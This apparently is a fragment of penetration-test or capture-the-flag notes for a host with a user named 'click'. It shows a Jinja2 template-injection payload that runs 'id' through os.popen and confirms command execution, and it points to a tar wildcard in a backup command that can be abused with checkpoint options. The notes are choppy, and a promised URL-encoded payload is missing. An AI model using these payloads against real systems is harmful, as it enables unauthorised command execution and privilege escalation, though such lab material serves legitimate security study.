In /home/click :
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} Response shows uid=1000(click) ... – command execution achieved. Payload (URL-encoded):
tar -czf /backups/click_backup.tar.gz /home/click/* Wildcard in tar with --checkpoint and --checkpoint-action can be exploited.